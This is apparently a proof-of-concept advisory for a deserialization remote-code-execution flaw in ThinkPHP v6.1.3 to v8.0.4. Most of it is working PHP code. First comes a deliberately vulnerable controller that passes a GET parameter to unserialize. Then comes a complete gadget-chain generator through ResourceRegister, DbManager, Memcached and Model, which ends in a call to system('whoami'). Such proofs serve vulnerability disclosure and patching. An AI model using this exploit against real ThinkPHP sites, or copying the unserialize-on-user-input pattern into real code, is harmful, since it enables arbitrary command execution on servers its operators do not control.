
A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.
Thinkphp v6.1.3 to v8.0.4
The thinkphp framework should have installed the Memcached extension.
First, add new deserialization endpoint in app\controller\Index.php, such as:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
You can generate payload from:
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
Use the payload to deserialize can result to RCE:
